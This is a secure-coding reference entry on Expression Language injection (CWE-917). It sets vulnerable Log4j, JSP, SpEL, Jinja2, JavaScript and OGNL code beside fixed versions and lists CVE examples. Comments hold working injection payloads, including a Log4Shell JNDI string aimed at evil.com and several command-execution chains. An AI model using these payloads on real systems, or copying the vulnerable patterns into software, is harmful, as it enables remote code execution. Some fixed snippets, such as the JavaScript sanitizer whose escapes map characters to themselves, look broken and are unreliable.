Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
Description
Expression Language Injection occurs when software constructs expression language (EL) statements using externally-influenced input without properly neutralizing special elements that could modify the intended statement before execution. Expression languages are embedded scripting languages used in many frameworks to enable dynamic content within otherwise static templates. When user input is incorporated into EL expressions without proper sanitization, attackers can inject malicious expressions that execute arbitrary code, read sensitive data, or manipulate application behavior. This vulnerability is particularly dangerous because developers may not realize that certain placeholders or syntax elements are executable.
Risk
EL Injection can lead to severe security compromises. Attackers can execute arbitrary code on the server, potentially gaining full control of the application and underlying system. Sensitive data including configuration values, environment variables, and internal application state can be accessed and exfiltrated. In Java environments, attackers can invoke any accessible method, including Runtime.exec() for command execution. The vulnerability is especially dangerous in logging frameworks (as demonstrated by Log4Shell), where seemingly innocuous log messages can trigger remote code execution. Template engines, server-side rendering frameworks, and any system that evaluates expressions from user input are potential targets.
Solution
Disable expression language evaluation where it's not needed. Sanitize all user input before incorporating it into expressions by escaping special characters. Use parameterized APIs instead of string concatenation for expression construction. Implement strict input validation using allowlists. Configure template engines to use safe modes that prevent code execution. Monitor for and patch known vulnerabilities in expression language implementations. Implement defense-in-depth by restricting what classes and methods can be accessed through expressions. Use security managers or sandboxing where available.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Confidentiality Read Application Data - Attackers can access sensitive data through expression evaluation, including configuration and environment variables. |
| Integrity | Scope: Integrity Execute Unauthorized Code or Commands - EL injection enables arbitrary code execution on the server. |
| Availability | Scope: Availability DoS: Crash/Exit/Restart - Malicious expressions can crash the application or consume resources. |
Example Code
Vulnerable Code
// Vulnerable: Log4j JNDI injection (Log4Shell - CVE-2021-44228)
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class VulnerableLogging {
private static final Logger logger = LogManager.getLogger();
public void handleRequest(HttpServletRequest request) {
String userAgent = request.getHeader("User-Agent");
// Vulnerable: User input in log message with expression evaluation
logger.info("Request from: " + userAgent);
// Attack: User-Agent: ${jndi:ldap://evil.com/exploit}
// Log4j evaluates the expression and makes JNDI lookup
// Attacker's server returns malicious serialized object
// -> Remote Code Execution
}
}
// Vulnerable: JSP Expression Language injection
<%@ page import="java.io.*" %>
<%
String userInput = request.getParameter("name");
%>
<!-- Vulnerable: User input in EL expression -->
<h1>Welcome, ${param.name}</h1>
<!-- Attack: name=${applicationScope} reveals application data -->
<!-- Attack: name=${pageContext.request.getSession().setAttribute("admin","true")} -->
<!-- Or in Java code: -->
<%
// Vulnerable: Building expression from user input
String expression = "${" + userInput + "}";
// Then evaluating it
%>
// Vulnerable: Spring Framework SpEL injection
@Controller
public class VulnerableController {
@GetMapping("/greeting")
public String greeting(@RequestParam String name, Model model) {
// Vulnerable: User input in SpEL expression
ExpressionParser parser = new SpelExpressionParser();
String expression = "'" + name + "'";
// Vulnerable: Directly evaluating user input
Expression exp = parser.parseExpression(expression);
String result = exp.getValue(String.class);
model.addAttribute("greeting", "Hello, " + result);
return "greeting";
}
}
// Attack: name=T(java.lang.Runtime).getRuntime().exec('whoami')
# Vulnerable: Jinja2 template injection
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def vulnerable_greet():
name = request.args.get('name', 'World')
# Vulnerable: User input in template string
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
# Attack: name={{config}} reveals Flask config
# Attack: name={{''.__class__.__mro__[1].__subclasses__()}} lists classes
# Attack: name={{''.__class__.__mro__[1].__subclasses__()[X]('whoami',shell=True,stdout=-1).communicate()}}
// Vulnerable: JavaScript template literal injection
const express = require('express');
const app = express();
app.get('/welcome', (req, res) => {
const name = req.query.name;
// Vulnerable: User input in template evaluated with eval
const template = `Hello, ${name}!`;
const result = eval('`' + template + '`');
res.send(result);
});
// Attack: name=${require('child_process').execSync('whoami')}
// Vulnerable: OGNL injection (Struts vulnerability)
public class VulnerableAction extends ActionSupport {
private String input;
public String execute() {
// Vulnerable: User input evaluated as OGNL expression
ActionContext context = ActionContext.getContext();
ValueStack stack = context.getValueStack();
// Vulnerable: Direct evaluation of user input
Object result = stack.findValue(input);
return SUCCESS;
}
// Attack: input=(#[email protected]@getRuntime()).(#rt.exec('whoami'))
}
Fixed Code
// Fixed: Updated Log4j with mitigation
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class FixedLogging {
private static final Logger logger = LogManager.getLogger();
public void handleRequest(HttpServletRequest request) {
String userAgent = request.getHeader("User-Agent");
// Fixed: Use parameterized logging (always safer)
logger.info("Request from: {}", userAgent);
// Or sanitize input
String safeUserAgent = sanitizeForLogging(userAgent);
logger.info("Request from: " + safeUserAgent);
}
private String sanitizeForLogging(String input) {
if (input == null) return "null";
// Remove expression language markers
return input
.replace("${", "[$]")
.replace("#{", "[#]")
.replace("%{", "[%]");
}
}
// Also update Log4j to 2.17.0+ and set:
// log4j2.formatMsgNoLookups=true
// Fixed: Safe JSP usage
<%@ page import="org.apache.commons.text.StringEscapeUtils" %>
<%
String userInput = request.getParameter("name");
// Fixed: Escape for HTML, don't use in expressions
String safeName = StringEscapeUtils.escapeHtml4(userInput);
%>
<!-- Fixed: Use escaped value, not EL -->
<h1>Welcome, <%= safeName %></h1>
<!-- Or use JSTL with proper escaping -->
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<h1>Welcome, <c:out value="${param.name}" escapeXml="true"/></h1>
// Fixed: Safe SpEL usage
@Controller
public class FixedController {
@GetMapping("/greeting")
public String greeting(@RequestParam String name, Model model) {
// Fixed: Don't use user input in expressions
// Just use it as a value directly
String safeName = sanitizeName(name);
model.addAttribute("greeting", "Hello, " + safeName);
return "greeting";
}
private String sanitizeName(String name) {
// Validate and sanitize
if (name == null || name.isEmpty()) {
return "Guest";
}
// Remove any potential SpEL syntax
return name.replaceAll("[^a-zA-Z0-9 ]", "");
}
}
// If SpEL is absolutely necessary, use SimpleEvaluationContext
@Component
public class SafeSpelEvaluator {
public String evaluate(String expression, Object root) {
ExpressionParser parser = new SpelExpressionParser();
// Fixed: Use restricted evaluation context
EvaluationContext context = SimpleEvaluationContext
.forReadOnlyDataBinding()
.build();
Expression exp = parser.parseExpression(expression);
return exp.getValue(context, root, String.class);
}
}
# Fixed: Safe Jinja2 usage
from flask import Flask, request, render_template
from markupsafe import escape
app = Flask(__name__)
@app.route('/greet')
def fixed_greet():
name = request.args.get('name', 'World')
# Fixed: Escape user input
safe_name = escape(name)
# Option 1: Use pre-defined template file (safer)
return render_template('greet.html', name=safe_name)
# greet.html:
# <h1>Hello, {{ name }}!</h1>
# Jinja2 auto-escapes by default in templates
# Option 2: If dynamic template needed, use sandboxed environment
from jinja2 import Environment, BaseLoader
from jinja2.sandbox import SandboxedEnvironment
def safe_render(template_string, **context):
# Fixed: Use sandboxed environment
env = SandboxedEnvironment()
template = env.from_string(template_string)
return template.render(**context)
@app.route('/greet_v2')
def fixed_greet_v2():
name = request.args.get('name', 'World')
# Input is properly escaped and sandbox prevents code execution
return safe_render("<h1>Hello, {{ name }}!</h1>", name=name)
// Fixed: Safe templating in JavaScript
const express = require('express');
const app = express();
app.get('/welcome', (req, res) => {
const name = req.query.name || 'World';
// Fixed: Never use eval for templates
// Use a safe template library instead
const sanitizedName = sanitize(name);
// Safe string concatenation
const result = `Hello, ${sanitizedName}!`;
res.send(result);
});
function sanitize(input) {
if (typeof input !== 'string') return '';
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\$/g, '$') // Prevent template injection
.replace(/`/g, '`'); // Prevent template literals
}
// Better: Use a proper template engine with auto-escaping
const nunjucks = require('nunjucks');
nunjucks.configure({ autoescape: true });
app.get('/welcome_safe', (req, res) => {
const name = req.query.name || 'World';
res.send(nunjucks.renderString('Hello, {{ name }}!', { name }));
});
// Fixed: Safe Struts configuration
// In struts.xml, disable dynamic method invocation
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
// Use parameterized actions, not expression evaluation
public class FixedAction extends ActionSupport {
private String name; // Simple property, not evaluated as expression
public String execute() {
// Use name as data, not as expression
if (name != null && isValidName(name)) {
// Process normally
}
return SUCCESS;
}
private boolean isValidName(String name) {
// Whitelist validation
return name.matches("^[a-zA-Z0-9 ]{1,50}$");
}
public void setName(String name) {
this.name = name;
}
}
CVE Examples
- CVE-2021-44228 (Log4Shell): Log4j JNDI lookup feature allowed remote code execution via log messages containing ${jndi:ldap://...} expressions.
- CVE-2010-1871: JBoss Seam Framework allowed EL injection leading to arbitrary code execution.
- CVE-2011-2730: Spring Framework SpEL injection vulnerability.
- CVE-2017-5638: Apache Struts OGNL injection through Content-Type header.
Related CWEs
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (parent)
- CWE-94: Improper Control of Generation of Code ('Code Injection') (related)
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (related)
References
- MITRE Corporation. "CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement." https://cwe.mitre.org/data/definitions/917.html
- OWASP. "Expression Language Injection." https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
- Apache. "Log4j Security Vulnerabilities." https://logging.apache.org/log4j/2.x/security.html